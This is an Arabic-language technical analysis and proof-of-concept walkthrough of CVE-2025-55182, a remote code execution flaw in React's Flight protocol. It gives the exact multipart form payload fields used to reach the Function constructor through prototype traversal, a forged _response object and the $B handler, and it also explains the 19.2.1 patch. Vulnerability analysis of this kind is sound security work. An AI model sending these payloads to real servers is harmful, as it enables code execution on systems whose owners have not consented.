
تحليل تقني مفصل وإثبات مفهوم لاستغلال CVE-2025-55182، وهي ثغرة RCE حرجة في بروتوكول Flight الخاص بـ React. يغطي تجاوز المسار، وحقن الأجزاء المزيفة، وتقنيات تجاوز جدار الحماية.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في بروتوكول Flight الخاص بـ React. يعتمد الهجوم على تجاوز المسار + حقن الشريحة المزيفة + إساءة استخدام معالج $B لتنفيذ Function(attacker_code).
شكر كبير لـ maple3142 على سلسلة الاستغلال العاملة!
يستخدم الاستغلال ثلاثة حقول نموذج لبناء حمولة خبيثة:
then مرجعي ذاتي (الحقل 1 $@0 → الحقل 0)_response مزيف مع ضبط _formData.get إلى $1:constructor:constructor$B الذي يستدعي response._formData.get(response._prefix + id)_formData.get إلى Function، وينفذ Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### المكوّنات الرئيسية
| المكوّن | الغرض |
|-----------|---------|
| `then: "$1:__proto__:then"` | كائن thenable ذاتي الإشارة؛ الجزء 1 (`$@0`) يشير إلى الجزء 0 |
| `status: "resolved_model"` | يجعل الكائن يظهر كجزء React صالح |
| `reason: -1` | يضبط rootReference إلى undefined (يتجنب تعارضات المراجع) |
| `value: '{"then":"$B1337"}'` | حمولة متداخلة تشغّل معالج `$B` |
| `_response._prefix` | تحتوي على سلسلة كود RCE |
| `_response._chunks: "$Q2"` | خريطة Map فارغة لمنع الانهيارات أثناء معالجة الأجزاء |
| `_response._formData.get` | يشير إلى `Function` عبر `$1:constructor:constructor` |
### غوص عميق في المكوّنات
#### بنية حقول النموذج
يستخدم الاستغلال ثلاثة حقول نموذج بمراجع دائرية:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)تؤدي then: "$1:__proto__:then" إلى إنشاء مرجع ذاتي يتحل إلى دالة حقيقية:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**لماذا هذا أمر بالغ الأهمية:**
1. `then` يتحلّل إلى `Chunk.prototype.then` - وهي دالة حقيقية قابلة للاستدعاء
2. هذا يجعل الكائن المزيّف "thenable" صالحًا
3. عند استخدام `await`، تستدعي JavaScript الدالة `obj.then(resolve, reject)`
4. يتم تنفيذ `Chunk.prototype.then` مع الكائن المزيّف كقيمة `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) قيمة this._response - وهو _response المزيف الخاص بالمهاجم:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**بدون المرجع الذاتي**، لن يتم استخدام `_response` المزوّر أبدًا. المرجع الذاتي يجعل `Chunk.prototype.then` يعامل كائن المهاجم باعتباره Chunk حقيقي.
#### مشغّل Thenable ذو مرحلتين (`value`)
يحتوي حقل `value` على سلسلة JSON متداخلة مع Thenable آخر:```json
{"then":"$B1337"}
المرحلة 1: then ذاتي الإشارة للكائن الخارجي يُشغّل معالجة الأجزاء
المرحلة 2: عندما يحلّ React النموذج، يحلل value ويصادف thenable آخر يحتوي على then: "$B1337". بادئة $B تُشغّل المعالج:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` هي `"$1:constructor:constructor"` → `getOutlinedModel()` تتحل إلى `Function`.
يصبح هذا: `Function(code + "1337")` → كود JS صالح لأن `1337` مجرد تعبير لاحق.
#### الحشو الدفاعي (`_chunks`)
يحتاج `_response` المزيّف إلى خاصية `_chunks` صالحة لمنع الأعطال:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. تلبّي الخريطة الفارغة هذه الاستدعاءات دون أخطاء، مما يسمح بالوصول إلى المعالج الضعيف $B.
| المسار | الوظيفة | الغرض في الاستغلال |
|---|---|---|
| تجاوز المسار | getOutlinedModel() | يحوّل $1:constructor:constructor إلى Function |
حقن _response مزيف | initializeModelChunk() | يستخدم chunk._response الخاص بالمهاجم |
معالج $B | parseModelString() | يستدعي _formData.get(_prefix + id) → RCE |
decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بحد ذاتها.
تجاوز المسار (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**استخدام الاستجابة المزيفة** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B معالج RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## الإصلاح (19.2.1)
يتضمن التصحيح عدة إصلاحات:
1. **`RESPONSE_SYMBOL` في `initializeModelChunk()`** - إصلاح حاسم ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty في getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ في reviveModel() - يمنع تلوث النموذج الأولي ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - يتحقق من صحة المستمعين ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| القدرة | الحالة | ملاحظات |
|---|---|---|
| اجتياز سلسلة النماذج الأولية | ✓ مؤكد | عبر $1:constructor:constructor |
| الوصول إلى مُنشئ Function | ✓ مؤكد | لا حاجة إلى manifest |
| RCE كامل | ✓ مؤكد | عبر fake chunk + معالج $B |